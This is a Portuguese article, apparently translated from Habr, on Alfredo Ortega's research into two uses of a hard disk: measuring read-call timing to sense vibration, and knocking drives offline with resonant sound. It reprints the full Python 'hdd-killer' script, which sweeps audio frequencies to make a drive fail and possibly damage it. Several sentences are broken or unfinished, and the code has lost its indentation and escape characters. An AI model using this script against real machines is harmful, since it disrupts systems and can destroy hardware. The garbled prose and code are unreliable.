
Na conferência de segurança informática Ekoparty 2017 em Buenos Aires, o hacker argentino Alfredo Ortega mostrou um desenvolvimento muito interessante - um sistema para escuta telefônica secreta de instalações sem o uso de microfone. Som !
O HDD capta principalmente sons, passos e outras vibrações de alta intensidade e baixa frequência. A fala humana ainda não pode ser reconhecida, embora os cientistas (reconhecimento de voz por vibrações de baixa frequência, que são gravadas, por exemplo, a partir de um giroscópio ou HDD).
O som é a vibração do ar ou de outro meio. A pessoa os percebe através do tímpano, que transmite vibrações ao ouvido interno. O microfone foi projetado aproximadamente como um ouvido - aqui também as vibrações são registradas por uma membrana fina, que excita um impulso elétrico. O disco rígido, é claro, também está sujeito a vibrações microscópicas devido às flutuações do ar circundante. Isso é conhecido até pelas características técnicas dos HDDs: os fabricantes geralmente indicam o nível máximo de vibração permitido, e o próprio disco rígido muitas vezes tenta colocá-lo em um recipiente à prova de vibração feito de borracha ou outro material isolante. Disto é fácil concluir que os sons podem ser gravados usando o HDD. Resta apenas descobrir como.
Alfredo Ortega propôs uma versão única de ataque de canal lateral, nomeadamente um ataque temporal. Este ataque baseia-se na suposição de que diferentes operações são executadas no dispositivo em momentos diferentes, dependendo dos dados de entrada fornecidos. Neste caso, os “dados de entrada” são as vibrações da cabeça de leitura e do prato do HDD, que se correlacionam com as vibrações do ambiente, ou seja, com o som. Assim, medindo o tempo de cálculo e realizando uma análise estatística dos dados, as vibrações da cabeça/prato e, portanto, as vibrações do meio podem ser medidas. Quanto maior o atraso na leitura dos dados, mais fortes serão as vibrações do HDD e, portanto, mais alto será o som.
Como medir a vibração do disco rígido? Muito simples: basta executar a chamada do sistema read () - e registre o tempo que leva para ser concluído. Os sistemas operacionais modernos permitem ler o tempo das chamadas do sistema com precisão de nanossegundos.
A velocidade de leitura das informações de um setor depende da posição da cabeça e do prato, que se correlaciona com as vibrações do gabinete do HDD. Isso é tudo.
A análise estatística é realizada usando um utilitário Kscope simples. Como se costuma dizer, tudo que é engenhoso é simples.

Utilitário Kscope (stat() syscall)
Kscope é um pequeno utilitário para visualizar pequenas diferenças nos tempos de execução de chamadas do sistema. Fonte.
Em um repositório separado existe uma versão do utilitário configurada para ataque de tempo no disco rígido, ou seja, configurada para analisar a chamada do sistema read ().
Demonstração de gravação de som usando HDD, operação do utilitário Kscope

É claro que a fala não pode ser entendida dessa forma, mas o HDD é bastante adequado como sensor de vibração. Por exemplo, você pode registrar se uma pessoa com sapatos duros ou descalça entrou em uma sala com um computador (provavelmente, se o invasor estiver usando tênis macios ou se houver um carpete grosso no chão, o HDD não será capaz de registrar vibrações - vale a pena conferir). O computador é capaz de registrar vidros quebrados ou outros incidentes com forte intensidade sonora. Ou seja, o disco rígido pode servir como uma espécie de sistema de detecção de intrusões não autorizadas.
Assassino de HDD
Aliás, uma técnica semelhante pode ser usada para desativar discos rígidos. No entanto, aqui não capturamos vibrações do disco rígido, mas sim geramos vibrações que são enviadas para ele. Se você reproduzir áudio em um alto-falante em uma frequência que ressoe com a frequência do disco rígido, o sistema logo desligará o dispositivo com um erro de E/S (o kernel). Linux (Isso desliga completamente o disco rígido após 120 segundos.) O próprio disco rígido pode sofrer danos irreversíveis.

núcleo Linux O disco rígido desligou após 120 segundos de reprodução de som em uma frequência de ressonância através da caixa de som USB Edifier r19u. A caixa de som estava ligada com cerca de um quarto da sua potência (menos de 100 mW) e posicionada a 20 cm do disco rígido, apontada para a mesa para amplificar as vibrações. Ainda de com uma demonstração do assassino de HDD
É curioso que tais “ataques” aos HDDs às vezes ocorram completamente por acidente na vida cotidiana. Por exemplo, em Setembro de 2016, o centro de dados do ING Bank foi forçado a suspender as operações durante 10 horas após um exercício de simulação de incêndio. devido ao som alto do gás inerte sendo liberado dos cilindros sob alta pressão. O som estava muito alto (mais de 130 dB), mas nem dá para gritar com os discos rígidos - isso aumenta o atraso no acesso ao HDD.
Demonstração de gritos humanos em discos rígidos em um data center. Medição de latência

Para gerar o som ressonante, Alfredo Ortega escreveu um script Python chamado ().
É bem pequeno, então você pode publicá-lo na íntegra aqui.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Fonte: habr.com
